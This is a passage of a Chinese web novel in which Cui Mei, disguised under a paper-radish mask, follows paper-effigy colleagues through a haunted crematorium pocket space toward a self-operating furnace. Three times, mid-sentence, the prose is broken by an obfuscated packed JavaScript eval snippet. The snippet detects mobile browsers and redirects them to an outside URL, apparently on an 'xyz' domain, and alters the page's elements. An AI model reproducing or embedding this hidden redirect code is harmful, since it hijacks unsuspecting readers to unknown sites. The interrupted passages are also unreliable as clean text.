崔美小心观察着其他纸人，所有纸人的注意力都在自己面前的那副“碗筷”上，跟被下了定身咒语一样一动不动，她面前的明仲和身边的白见真也是如此。 她看不懂了，这是要做什么，不会真的要喝了面前那些味道不怎么对劲的红色液体吧？ 想到这，崔美下意识咽了口唾沫，她怎么都想不到，尾随纸人的后果就是要在这陪纸人干了面前的墨水。 那还不如选择直接被埋在菜地里当纸萝卜。 十分钟前。 尽管明仲就在崔美的眼前变成了没有人类意识的纸扎人，她还是想不通为什么，没有吃了纸扎萝卜就能变身的道理。 而那五个随着明仲变成纸扎人后，突然出现的明仲的纸扎人同事，并没有对挡在路中间的崔美为难，反而像是看不到她一样，忽略掉她，径直走向那片菜地，跟在纸扎人明仲身后开始除杂草。 新来的五个纸人大哥没有加入纸扎白见真的“吃纸萝卜”队伍，而是跟在纸扎明仲屁股后面除草，白见真并没有因此而有其他反应，放下了招呼其他人吃饭的手臂，继续专注给纸扎蔬菜浇水。 崔美就这样被一群纸扎人同事给无视了。 比起被这群不人不纸的纸扎人无视，崔美眼下更关心另一件事，为什么她没变成纸扎人？ 她回忆着明仲往嘴里塞纸萝卜的画面。 那个纸萝卜大得像过年挂的那种大灯笼，看不出有什么骨架支撑，却可以圆滚滚的十分像个真萝卜。没有人会眼睛都不眨的把一坨纸塞进嘴里，还能无所顾忌的大口吞咽，怎么看都不像是他自愿想吃那玩意的样子。 如果明仲是吃了白见真递给他的萝卜才变成了纸扎人，那白见真又是因为什么才成了这副模样的，其他五个同事又是因为什么？ 后院有两条路可以离开，一条需要绕过那群纸扎人，从他们面前通过，崔美甚至没想太久，就选择了小心翼翼地继续向后退原路返回。至少先离开后院的菜地，归墟场的其他地方总会有其他线索。 她来到后院时的那条路，只要绕过后院的拐角处，就会回到连接告别厅长廊的地方，崔美一边观察着纸扎人们的动态，一边小步向后退。 咔嚓。 崔美的耳边响起熟悉的咔嚓声，一时间她没想起来上一次听到这个声音，是在哪里。 直到天旋地转的眩晕感袭来，崔美下意识抬手去扶旁边的墙，站定后，她才终于想起来，这熟悉的声音代表着什么。 当她扶着墙站好，再向菜地的方向看过去，纸人们浇水的浇水、除草的还在除草，似乎一切都没有变化。 不，是有变化的，这变化只有崔美一个人察觉得到。 原本应该已经后退着走到后院拐角处的她，此刻正站在除草的明仲和他几个同事身后。 那块菜地距离拐角处，明明有着至少二十米的距离，如果只看纸扎人们，完全看不出哪里不对劲，但崔美知道，她又回来了。 该死的鬼打墙，怎么范围还会缩小啊。 但这次跟之前有很大不同，被强制“重启”的似乎只有崔美，纸扎人并没有受到任何影响。 跟纸扎人待在一起，对崔美来说，原本并不是什么值得担忧的事情，但她不确定面前这些明显已经丧失了自我意识的纸扎人，身上还带着异能吗？ 毕竟这里除了她，眼前的六个机械武装处的纸人，再加上一个疗养处的同事纸人，都是有异能的分等级公民。 查奥斯世界将公民分为四个等级。 A级公民是查奥斯世界的统治阶级，他们经历过辐射后由于基因的重新排列，拥有完整健康的身体，并掌握着这个世界里绝对的财富和权力； B级公民仅次于A级，是A级公民的执行官，直接统治C级和普通公民，拥有防御型或者初级战斗异能，特事管理处大部分都来自B级，来自机械武装处的明仲也属于B级； C级公民是分级的最底层，只具有不同程度的微弱能力，大部分疗养处的员工都是C级，既拥有不会威胁到任何人的能力，又能够收集残留的无物，非常适合做善后工作，变成纸人的白见真，大概率也属于C级公民。 这三类公民，在拥有异能力的同时，都具有极强的自我修复能力，甚至拥有永生不灭的身体。 而第四个等级，身份卡上甚至没有明显等级标注，也就是最普通的人类，这一等级的公民即使在经历过辐射后，依然不具备任何异能，身体还是会痛会饿会疲惫会受伤会死亡，因为没有特殊性，不被划分到分级内，通常需要接受政府福利，生活在保护区域内。 比如穿越了不如不穿越的普通公民崔美。 浇水的白见真和除草的明仲显然都无法给她任何有效的支持和帮助，崔美索性蹲了下来摆弄着地上的纸扎萝卜。 她思考着要不要绕过菜地，从后院另一边的路闯出去试一试时，纸人们却突然停下了动作，齐刷刷站了起来。集体起立的纸人甚至面朝后院另一边，也就是崔美打算闯出去的那个方向，自觉地排成了一支队伍。 每个纸人的手都搭在前面一个纸人的肩膀上，一列纸人并不整齐地向着那个方向缓慢挪动着身体，看起来居然很像皮影戏里的画面。 崔美蹲在地上仰起头，看着搭着肩膀连成一排的纸扎人，看似相同的面孔和身体，里面装着的是活生生的人，仰视他们时的那个角度，纸人脸上的嘴巴倒着在微笑，充满着怪异的压迫感。 她突然看向地里的纸扎萝卜，滑稽地想到，不会地里种的这些纸扎蔬菜，也都是人变得吧？ 随着纸人开始向着崔美没选择的那条路移动，站在队伍最前面的纸人明仲终于挪动到拐角处，并没有像她那样再次出现在后院里，崔美才确定那条路确实是通的。 崔美随手从地里拔了颗看起来最大个的纸萝卜，撕掉纸萝卜的一头后套在了自己头上，大小居然刚刚好，她随即对准眼睛的位置迅速戳了两个洞。 做完这一连串动作，崔美匆匆站起身，根本顾不上去看被纸萝卜划破了个口子的手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917603|177027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就搭在了跟在队伍最后面的白见真肩膀上，学着他们的模样缓慢又滑稽地移动着。 “你说，咱们这是要去哪儿啊？” 崔美小声嘟囔着，她倒是希望站在她身前不远处移动着的白见真能听得到，但纸人哪里会回答她的问题。 纸扎萝卜头套十分遮挡视野，崔美透过两个窟窿眼也并不能完全观察到外面的状况，她跟着队伍走了很久，也不知道到底要走去哪里。 她随着队伍正在穿过一条长长的、昏暗走廊，直到闻到了熟悉的味道，她悄悄吸了吸鼻子，歪了歪头，才发现他们正在路过焚化炉。 查奥斯是一个变异公民根本不会死亡的世界，听说普通公民去世后政府自会安排他们的去处，归墟场这种地方，就算在这样一个世界里，也是活人不太想靠近的场所，甚至不愿意在旧址上重建，所以才会直接荒废掉。 但崔美确信自己的嗅觉没有出错，这种燃烧焚化的味道，她是不会闻错的。 透过窟窿眼看得实在不够清楚，而焚化炉似乎就在走廊某一扇大门后的空间里，那熟悉的味道牵引着崔美，她松了送搭在白见真肩膀上的手，做好了看准时机就掉队的准备。 “额额、额额！” 正酝酿着随时脱离队伍时，隔着头套，崔美听到了令她头皮发麻、后面冒冷汗的声音。 走廊里暗得厉害，微弱不明来源的光亮非常影响视线，但崔美还是在纸扎大萝卜头套里，看到了她根本不想看到的东西。 最开始追着她在归墟场狂奔逃命的那个蜘蛛人。 她隐约看到那个蜘蛛人的体格并没有当初追赶她时的那个庞大，身上也并没有挂着那么多的墨绿色丝线，但这个蜘蛛人就站在走廊上，似乎在清点着纸扎人的个数。 崔美屏住着呼吸，重新跟上队伍，她不确定那东西会不会因为她的呼吸、她的走路姿势，又或许因为她身上散发的跟其他纸扎人不一样的“人味儿”，而再次盯上她。 她尽量学习着前面纸扎白见真走路的样子，跟在白见真身后半米距离，当她跟着队伍经过蜘蛛人身旁时，蜘蛛人再次发出“额额、额额！”的声音。 坏了。 崔美藏在纸扎萝卜头套里的脸，瞬间起了一层鸡皮疙瘩，竖起的汗毛擦着纸扎萝卜，她感觉有汗顺着头顶滑进了眼睛里，刺痛感让她疯狂快速眨眼，但她不敢做多余的动作，更不敢抬手去擦眼睛。 蜘蛛人居然没有发现她并不是纸扎人！ 甚至感觉自己逃过一劫的崔美，麻木地跟在白见真身后，直到她跟着他们这一群纸扎人坐在吃席的座位上时，才缓过神来。 这个稍微小一号的蜘蛛人似乎没有办法辨别她和纸扎人间的区别，只会盲目地驱赶着纸扎人们前行，甚至像个巡逻的小喽啰。 这个空间十分大，崔美悄悄观察到，甚至有纸扎动物、纸扎水果蔬菜也在围着桌子准备“吃席”。 崔美在看到其他纸扎萝卜的时候，甚至稍微松了口气。 而眼下令她头疼的事，是面前的“碗筷”和那一大锅恶心的红色液体。 蜘蛛人再次发出“额额、额额！”的声音，随后，这间屋子里的全部纸扎人、纸扎动物纷纷把手伸向了桌子上的那支笔，甚至纸扎水果蔬菜伸出了根茎和叶子，也抓住了自己面前的笔。 或快或慢的，这些纸扎物件抬起握着笔的手、爪子、叶子，蘸向大锅里的红色液体，直到黏稠的液体浸润了笔上的毛，他们举起手，把笔尖对准了自己的脸。 开始涂抹。 崔美在头套里微张着嘴巴，她的右手在桌子下面不自觉地微微抖动着，半晌都没有要抬起来去拿笔的意思。 正当她犹豫不决时，桌子下面的手被死死地拽住了，是一只纸扎手。 5. 古早物件 隔壁桌的纸扎人们似乎在认真完成什么“艺术创作”，根本没有放下手里的笔的意思。 失去自我意识后，纸扎人就像被听不见的声波操控的傀儡，纸人形态千奇百怪，动作却出奇一致。 崔美坐在隔壁不敢做出太大的动作，透着窟窿拼命看，也看不太出来其他人在脸上涂抹的纸扎人到底做了什么。 崔美面前的明仲举起沾了红色墨水的笔，在额头点了个红点，又在两颊上画了两坨滑稽的苹果腮红，最后又沾了沾红墨水，这支笔的目标是嘴巴，纸扎人明仲反反复复的在给他自己涂唇色。 直到纸扎的嘴巴开始瘆人的往下淌着多余的红色液体，明仲也没有停下涂抹的动作。 崔美透过纸头套的窟窿眼向外去看，画面并不阴森恐怖，却处处充斥着毫无逻辑的怪异行为。 没有任何动作，崔美疑惑着，如果不像这些纸扎人一样往脸上鬼画符，会怎么样。 然而在桌子下方拽住崔美的纸扎手，就像能窥探到崔美心声一样，没有要松开的意思，反倒是安抚意味十足的按了按她的掌心。 拉住她的人是坐在隔壁的白见真。 她很想扭过头去看看坐在右侧的白见真是什么样的表情，但又为会有这样的想法感到好笑：纸扎人又能有什么表情呢？ 白见真松开了崔美的手，余光中纸扎白见真也拿起了笔，开始对着自己的纸糊脸涂画。 崔美似乎明白了刚刚白见真按压她掌心的意思，随即也拿起了自己面前的笔，有样学样地在头顶上这个纸扎大萝卜的“脸上”涂抹着。 蜘蛛人再次发出叫声，靠近大门口的那桌纸扎人似乎已经结束了“吃席”，在一声声刺耳的“额额”声中，纷纷站了起来，自觉排成一排。 原本在空间里四处巡逻的蜘蛛人也终于走向门口，一边发出叫声，一边驱赶那一桌纸扎人向外走去。 崔美终于敢偏过头去看，她数了数，那一桌算上纸扎人和纸扎动物，共八个，跟她这一桌的数量一模一样。 “额额”的声音随着驱赶纸扎人的蜘蛛人离开而变弱，崔美猜测他们已经走远了，但屋子里其他纸扎人，并没有因为蜘蛛人不在就停下手上的动作。 崔美照葫芦画瓢的手顿了顿，尽管眼睛还看着对面认真给嘴巴上色的明仲，她压低了声音，“白见真？” “嗯。” 这是来到查奥斯的几天以来，崔美第一次有了想要掉眼泪的冲动。 被纸扎的手握住时的手感很奇特，跟她平时抬纸扎人时完全不同，甚至还被吓得一哆嗦。 但她马上意识到，白见真是不是恢复了意识，这种认知让崔美的心脏跳的比哆哆嗦嗦的手更激烈。 原来他乡遇故知是这种感受吗。 崔美不确定白见真是不是认识她这个疗养处小透明，明明刚刚主动张嘴喊了对方名字的是她，这会儿又不知道要说些什么的，还是她。 “你是怎么回事？” 崔美琢磨着要不要自报家门时，听到白见真问道，那声音跟之前卡碟一样问她和明仲要不要吃纸萝卜的时候，完全不同，声线偏低，带着些大姐姐般的陈稳。 至少是个正常人类的声音。 “难道因为你是普通公民，才没有被影响。” 甚至没等崔美搞清楚白见真询问的“怎么回事”，是指她为什么会出现在这，还是指其他的哪一回事，白见真就给了她答案。 白见真居然认识原本的崔美，就算隔着个头套看不见脸，都能听出崔美的声音。 可能不仅仅是认识而已。 现在占着原崔美身体的是她，崔美只能继续在白见真面前扮演原主。尽管如此，她也终于暗暗松了口气。 “你刚刚，变成了纸人。” 说完，崔美想了想不对，又一次补充道，“哦，不对，你现在也还是纸人，但你……” 恢复了人类意识的纸人白见真身体灵活得明显提高，她也向门口望去，压低了身体凑近崔美小声说着话。 “我接到了归墟场的外勤任务，但只能暂时控制住突然出现的蜘蛛人，却没能力解决掉它们。我明明记得自己在归墟场里到处寻找任务对象，根本不知道是在什么时候，又是怎么变成了现在这个样子。甚至变成纸人后发生过什么，也完全不记得。” 白见真说到这才回过头看顶着个萝卜头的崔美，“我听到你问我，咱们这是要去哪儿。大概是在那个时候，我的意识才恢复清醒。” 她抬起了纸扎的手，“只不过身体还是这个样子。” 说着，白见真纸扎的手上散发着微弱的黄绿色光亮，“甚至能力也恢复了一些，但就是没办法变回原来的身体。一个只有等级十八的任务，居然能把我们吸进归墟场的无物创造的里域空间，是我疏忽了。” 【在查奥斯世界，各项灾难等级划分成十八个等级：十八级是最简单的任务，甚至称不上是什么灾难；而相对的，一级最为困难，目前查奥斯资料馆内登记在案的最高等级灾难也不过是三级，距离这个三级灾难的发生甚至已经过去了八十多年。无物创造的里域空间被随机抛在其他维度里，进入里域空间的人类，就像失去功能的罗盘】 许久未出现的系统二狗再一次乍现，这一次它开始在崔美的脑子里做科普，这熟悉又陌生的声音响起时，崔美索性在头套里翻了个白眼。 崔美不断遭遇的“鬼打墙”时，系统不蹦出来，这会儿就像触发了什么关键词一样，滔滔不绝地疯狂输出解释。 第一次外勤就能遇到这种情况，换成疗养处其他同事只会开心于外勤经验的又一次丰富，对她而言，简直就是倒霉透顶。 “喂，你这会儿冒出来是对现在这情况有什么解决方法吗？”崔美在脑袋里问二狗。 【与十八个不同等级的任务难度对应的，是与之一同产生的里域空间，任务难度越高，里域空间越难逃脱。通常来说，十五级到十八级的任务C级公民就能解决，十级到十四级则必须有B级参与，而四级到九级就必须有A级参与。前三个等级的任务和里域空间，查奥斯至今为止还没有人经历过，更无法想象在那样的空间里，人类是否还能逃脱】 “如果这个任务只有十八级，你再加上一个B级的明仲，我们岂不是很容易就能逃脱？” 崔美听着二狗的大量科普，抓住了一条重点，直接问白见真，但她其实并不能确定白见真的等级，不过能进入疗养处至少也是个C级。 整个疗养处，都找不出第二个比她更离谱的护工。 【里域空间可以说是目标对象在其他维度里捏造的幻想世界，异能越强，创造的里域空间越难逃脱。也可以把任务目标这些难以消除的无物理解成无法消解的执念甚至怨念，只要解决了目标的怨念，就能找到里域空间与现实空间的连接处】 二狗默默补充说明着。 【完成归墟场任务是熟悉系统的重要步骤，祝主人好运】 说完这句，系统二狗就下了线，不管崔美怎么在脑子里召唤都不出现。 这狗系统叫二狗也是实至名归。 崔美顺着二狗的科普，大概捋清楚了白见真变成纸扎人的经历。 白见真在进入归墟场后，先是跌入里域空间，然后跟崔美一样被里域空间困住，外面的时间在流逝，空间里又没有具体的时间概念，外界也对里域空间里发生的事无法窥探。 所以疗养处并不知道白见真并没有完成任务离开归墟场，顺手又把崔美也安排进了这个无法解决的任务里。 听到崔美提到明仲，白见真才终于发现坐在对面还在涂着脸的明仲，她指着那张花里胡哨的脸，“这位怎么看起来有点眼熟。” “他看到纸扎的你时，也是这样说的，他就是我刚刚说到的机械武装处的明仲，B级。” 崔美想挠挠头，红色墨水从明仲纸扎的脸上流下来，比起恐怖， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917604|177027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是更显滑稽。 “或许我有办法……” 白见真话还没说完，蜘蛛人“额额”的叫声由远及近，她推了推崔美，两个人只好被迫结束对话，重新拿起笔往脸上涂画着。 这一次，重新回到这间屋子的蜘蛛人，站在了崔美他们的桌子旁。 随着蜘蛛人再一次发出叫声，同桌的纸扎人们都放下了手里的笔，站了起来，面向门口。 崔美和白见真自然有样学样，跟着其他纸扎人一起起立，这一波依然是八个纸扎人。 跟着蜘蛛人的驱赶，带头的纸扎人开始挪动着步伐，走出吃席的空间后，崔美他们又一次回到了来时的走廊上。 没多久，就在一个巨大的双开门前停住了。 这扇门后面，浓重的焚烧味道，正源源不断地向外扩散着，是崔美熟悉的那股味道。 把这一队8个纸扎人带到门口后，那扇门终于打开了，带队的纸人继续向前移动，直到站在队伍最后面的崔美也走进那扇大门，砰的一声大门才再次关闭。 蜘蛛人却没有跟着一起进到这里，崔美能听到门外蜘蛛人的叫声越来越远，似乎已经尖叫着又离开了。 “崔美，你看。”白见真小声唤着崔美的名字。 透过这扇门，崔美看到的是一个装着焚化炉的火化间。 除了崔美他们这一队8个纸扎人，她还看到了早就在蜘蛛人驱赶下，走出吃席房间的另外八个纸扎人，这会儿上一波八个纸扎人就站在崔美他们这一列队伍的旁边。 大家似乎都在排队等着什么。 “这里除了我们，没有其他蜘蛛人。”白见真提醒道。 崔美终于能摘下那个纸扎萝卜头套，白见真让她看的，是正在工作着的焚化炉。 “那是焚化炉，烧……东西用的。”崔美解释道。 白见真并不认识这种对现在的查奥斯公民来说太古早的物件，至少在她这一代已经异能化的公民里，应该没人见过这样的器物。 但崔美会知道这种东西，她并不感到吃惊。 在很多年前，查奥斯登记在案的普通公民数量，与异能化公民的数量几乎对半开，在那个时候归墟场就是给普通公民使用的场地。 而现在数量稀少的普通公民，只能生活在被联合政府保护的南城区域里，听说那依然有着很多人类异能化之前会使用的物件。 摘下头套后崔美的视野终于恢复正常，她这才看到，除了他们这两排纸扎人，还有三个纸扎人在他们的队伍前站成一横排。 那三个纸扎人里面，甚至有一个是牛脑袋，另一个是马脑袋。 “牛头”和“马面”纸扎人这样出现在穿越到查奥斯的崔美眼前，更加让她感到不可思议。 直到见到焚化炉，崔美才想到从口袋里掏出工单，她把工单递给白见真看，“你的任务工单是什么？” “查奥斯历35年3月11日，疗养处第245号工单任务，工分6，任务地归墟场，护工白见真，共1人。” 对照着崔美递过来的工单，白见真嘴里说着属于她自己的工单内容。 白见真收到工单任务的3月11日，刚好是崔美来到查奥斯的那天，如果崔美没猜错，白见真也是在这一天执行外勤时，就被困在了归墟场的里域空间。 牛头纸扎人向前移动了一步，焚化炉的门轰的一声打开，那股令崔美感到熟悉的味道变得更加浓烈。 焚化炉里的台面缓缓向外延展，牛头纸扎人突然爬上了台面，然后在上面躺平，台面迅速自动向炉子内缩回，焚化炉的门又砰的一声自动关上了。 重新关了门的焚化炉内发出着咔嚓咔嚓声，火化间的温度似乎也跟着升高，焚烧物散发的味道变得更重了。 “除了时间和工单号，还有一个地方不一样。工单上必须标注任务对象到底是什么。” 白见真看向崔美，她说，“而你的工单上，没有写。” 6. 消失的焚化工 来到查奥斯之前，总会有那种想给崔美介绍对象的热心大爷大妈，每当他们听到她的工作后，几乎所有人都会露出“太晦气了”的表情。 甚至还会有人把自己倒霉的原因，归结到她身上。 但崔美在殡仪馆工作的这些年，从来都没觉得自己倒霉。 来到查奥斯之后，她终于感受到了，“倒霉是一种什么体验”。 系统把她弄到这么个世界里也就算了，没有异能继续当个普通人也算了，就算第一次出外勤遇到眼下这种情况，实在不行也算了。 但外勤工单这种需要由联合政府派单系统发出的严谨数据，居然也能出错。 倒霉的方式五花八门，来到查奥斯后尽情体验。 不过比起仔细琢磨这些看起来就倒霉的经历，崔美更没想过的是，居然还能有站着、眼睁睁排队等着自己被焚烧的那一天。 “先不说任务目标到底是什么东西，你不觉得我们也会被烧了吗？”崔美说。 “烧……什么？” 白见真对比着两张工单的不同，她还没见过人类真正死亡是什么样子，不管是出生以来，还是工作至今。 崔美口中的“被烧”，令她感到困惑，是放火烧还是用异能烧？ 指了指正在运转的焚化炉，崔美说，“焚化炉，就是那个东西，它里面的高温火焰会把我们烧成骨头渣子，哦当然也许你们异能化的不受影响，被烧的只有我吧。” 说完，崔美似乎意识到自己的语气并不太“像”，她又支支吾吾地补充着。 “但，但我不清楚你们这种会不会受影响，我的意思是现在纸人这个样子……” 牛头纸扎人进入焚化炉后，里面始终都没有发出任何声响，或许因为烧的只是一个纸人，连焚化时的燃烧声都没有。 实际上没人能确定，刚刚那个牛头纸扎人，是不是真的只是个“纸”人。 焚化炉还在持续运作着，看起来一时半会没有停下来的意思，刚刚站在牛头纸扎人旁的马面纸扎人向前走了一步，站在了牛头纸扎人爬上焚化炉台子的位置上。 崔美转身去拉火化间的铁门，大门果然是被锁住的。 难怪蜘蛛人把他们驱赶到这里之后，就离开了。 那玩意还怕纸扎人能自己跑了不成吗。 “你刚刚说我的工单上没有任务对象……” 崔美进入归墟场后，见过的只有最开始被明仲一把火烧成碎块的蜘蛛人。 甚至被困在这里，她刷新经历重来一回之后，除了这些纸扎人，没变的依然是驱赶着纸扎人们的那个蜘蛛人。 “任务对象，不是蜘蛛人吗？” 但崔美没记错的话，蜘蛛人就算被烧毁，身上既没有无物残留，更加找不到无物的线头。 “任务对象，是焚化工。但我也不记得自己进入归墟场之后，再到恢复意识之间，有没有见过所谓的焚化工。不管我怎么用精神力调动记忆都没有用。” 白见真指了指崔美，她工作服左胸口有一颗表面看似查奥斯联合政府标志的纽扣状徽章。 “工作记录仪在这个空间里，应该也已经失去了记录能力。那个蜘蛛人虽然奇怪，甚至身上到处都是无物丝线，但那里没有线头，我非常确定。” 似乎看出崔美的疑问，白见真继续说，“不管它是什么，至少不是那个叫焚化工的任务对象。” 崔美突然想到什么，她拉起白见真的胳膊带着她往队伍最前排挤过去。 纸扎人明仲看不出任何神色变化的面孔，始终朝向着焚化炉，被涂抹过数次的嘴巴扯起着非常怪异的弧度。 崔美指向明仲，“你刚刚说到的办法是指他吗？” 黄绿色光亮再一次围绕着出现在白见真的纸扎手掌四周，如果刚刚是火柴划亮似的亮度，这会儿更像是蜡烛燃烧时的亮度。 并没有酝酿太久，白见真手间的光亮向明仲的额头推去，接着，她手里的光亮竟然真的像燃烧殆尽的火柴，随着时间的消逝，光亮逐渐减弱了。 “我也不确定这样是不是有用，再等等。” 白见真观察着跟她外表看起来没太大区别的纸扎人的明仲，放下了已经看不出光亮环绕的手。 “你的能力是治愈吗？” 崔美顺着白见真的方向也观察着明仲的变化，尽管白见真的外表只是个纸扎面孔，崔美却感觉白见真在听到她的问题时似乎笑了。 白见真抬手指了指明仲和其他几个机械武装处的纸人。 “我的异能属于土系，刚刚对他使用的是安抚催眠，治愈术是所有人都具备的基础能力，但这个异能在里域空间里通常是失效的。我刚刚已经把他意识里关于‘我是纸人’这部分的认知催眠掉，再进行安抚，应该能调动回大部分属于原本人类的意识。” 见崔美看起来对这些很好奇，一副听得认真的模样，白见真又补充解释着，“但我并不确定纸人的意识可以被催眠多久，这还要看明仲的精神力有多强。” 轰的一声，焚化炉的门再一次自动打开。 崔美和白见真站得比之前更靠近焚化炉了一些，她们这才看清楚，焚化炉里面根本没有火焰燃烧过的痕迹，重新打开的焚化炉里甚至看不到任何物体燃烧后的残留。 除了感到火化间内的温度在焚化炉关闭后会升高，以及始终让崔美都没办法忽视的、那种燃烧过后的气味，没有任何能证明这个焚化炉，真的有什么在这里被焚烧过的印记。 就算刚刚爬进去的只是一个纸扎人，焚化后也总会有灰烬留下才合理。 她们亲眼看着牛头纸扎人，似乎就这样在焚化炉里消失了。 大敞着的焚化炉门里，台面又一次缓缓向外延伸，这次轮到了马面纸扎人向着台面迈步。 崔美并没多想，在马面纸扎人再一次迈步之前，一个抛物动作，直接把刚刚从脑袋上摘下来的纸扎萝卜头套丢进了焚化炉。 正准备向台面上爬的马面纸扎人行动一滞，还没等它有所反应，台面就迅速收回，焚化炉的门再一次关闭。 甚至来不及冲上前去拽住马面纸扎人，崔美也没想到，随手一丢的一个纸扎萝卜，居然能骗过这个会自动“吸食”纸扎人的焚化炉。 “这是什么地方？” 暂时松了口气的崔美听见了那个熟悉的、自带高傲感的声线问道。 明仲也恢复了意识！ “时间紧迫我就快点说，这是我的同事白见真你好像也认识她，是她用异能帮你找回的意识，但你目前身体还是纸扎人，现在在这里的十几个纸扎人有你的同事，也有一些不知道是什么东西变的，蜘蛛人暂时不在这里，但我们也出不去外面。简而言之，就是蜘蛛人要把我们关在这里一把火全烧了，over。” 崔美两只手上下翻飞、左右挥舞，一口气说完，又一次恢复之前唯唯诺诺的样子，她轻轻扯了扯一旁白见真的胳膊。 “见真说，我们现在被困在归墟场的里域空间，如果当前这个任务真的只有十八级，接下来就只能靠你们两个了……” 明仲似乎这会儿才彻底恢复意识的清明，他环视着这间火化间，问道，“线头在这里？” 崔美摇了摇头。 明仲又问，“那就是连接口在这里？” 崔美和白见真同时摇了摇头。 纸扎明仲看了看正在作业的焚化炉，又看了看连连摇头的崔美，“所以你是说，找不到线头，也不知道跟现实空间的连接口在哪，指望着我和这位虽然是B级但是没有攻击性异能的同事，来在这个鬼地方创造个奇迹出来？” 尽管根本看不出来脸上是个什么表情，听语气也能感觉到明仲好像带着些火气，他只是顿了顿，继续冲崔美说，“普通公民总是这么搞不清状况，还非要出来工作。” 白见真反手拉过崔美的手腕，把她稍微护在自己身后，“她只是没有经验，并不是没有脑子，你这样说我的同事，有些不礼貌。” 崔美也没想到这个明仲脑子刚恢复些意识，居然又一次说了一模一样那句话，这人到底是对普通公民有多大意见。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917605|177027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我、我确实没有什么外勤经验，所以现在这种情况，我也不知道……” 【我没经验但是你有啊】崔美想把这句话丢在明仲脸上，最后还是忍住了。 显然脾气不怎么样的明仲由于记忆被“刷新”，完全不记得之前自己救过崔美一命，但是崔美并没忘。 崔美更没工夫去计较这些对她来说没有任何意义的“贬低”，她并不会因为别人的评价，就凭空生长出异能，然后从普通公民变成异能力公民。 “但我们不能一直困在这里，那个东西，一会儿就轮到我们被烧了吧？”崔美指了指纸扎人明仲和纸扎人白见真，和他们身后的焚化炉。 “轰隆隆”！ 焚化炉能听懂崔美的话一样，发出响动“回应”着崔美，然而才响了没几下，焚化炉就停止了运转，时间过去了好一会儿，焚化炉的门始终都没有打开。 而随时准备跳进焚化炉里的马面纸扎人还站在那，也没有任何下一步动作。 “其实，如果能把我同事们的意识也恢复的话，大家可以一起想办法从这里出去。”明仲没去管那个看起来似乎坏掉的焚化炉，他直接向白见真求助。 白见真却摇了摇头，她抬起手，手掌间的黄绿色光亮还是十分微弱。 “刚刚催眠你身体里的纸扎人意识消耗很大，暂时还没办法积蓄到再恢复一个人的程度。” 纸扎人的身体形态似乎很难快速恢复操纵异能的能力，说着，白见真熄灭了手间的光亮。 “以机械武装处B级的能力，毁掉那个焚化炉，或者直接破开这个房间的大门，应该都不成问题吧？” 说话向来充满傲气的明仲这会儿却熄了火，他扭捏着似乎不想开口，终于支吾了半天，才憋出一句，“我没法用我的异能。” “在这用异能，我可以比那个炉子能更快地把在场所有人烧干净。我的异能是金属性，使用的形态却相当于雷火。” 他抬了抬自己纸扎的手，示意着，“轰开那个门之前，可能会先烧了我自己。” “或许运气再差点，里域空间因为吞噬了太多异能力者，政府安全巡查队在空间外察觉到归墟场异能波动强烈到了阈值，会直接把这炸成平地也说不定。” 白见真补充说。 沉默。 火化间里陷入了前所未有的巨大沉默里，就连一直运转的焚化炉，这会儿都泄了气，似乎真的坏掉了。 崔美左边是手握安抚催眠能力的白见真，在里域空间却能量受控没法长时间蓄力。 她右边是明明有能力轰开火化间大门，顺便炸掉蜘蛛人的明仲，同样在这个空间里，使用异能相当于自毁。 比起倒霉，崔美突然觉得这个系统在耍她。 这什么见鬼的里域空间，一脚迈进来，哪里还出得去？ 崔美感到大脑要转不动了，她甚至想问天问大地，归墟场这么个相当于火葬场的地方，该有执念的难道不应该是早就化成灰的逝者吗，为什么会是一个焚化工？ 她也只是个在殡仪馆里干殡葬的普通业务员，因为力气够大，顶多帮忙般般尸体、运运大件货，如果真的闹鬼，超度执念和收鬼这种事更是跟她的工作不沾边。 而且这鬼地方怎么看都荒废了不止十年八年，哪里还需要什么焚化工。 焚化炉在这个时候，轰隆着响着，看样子准备恢复运转。炉子的再次响动声，在此刻甚至像催命的锣鼓。 他们三个人不约而同把目光投向那个准备重新打开自动门的焚化炉。 下一个会自动跳进去的，或许是其他纸扎人。 也或许是他们三个人中的任何人。 “我好像有了一个办法。” 崔美突然说。 满脸鬼画符的纸扎人白见真和明仲，在听到崔美的话时，同时看向了她。 “把蜘蛛人吸引到这里来，会不会是个好主意啊？”崔美问。 白见真和明仲达成了这一天里的第一个共识：看起来畏首畏尾的崔美，终于被吓疯了。 7. 最后八个 “哐啷啷”，自从崔美把她的纸萝卜头套丢进了焚化炉以后，焚化炉每隔一段时间，就发出跟之前完全不同的怪响。 像是吃坏了肚子的肠子，疯狂蠕动，同时伴随着毫无规律的巨响。 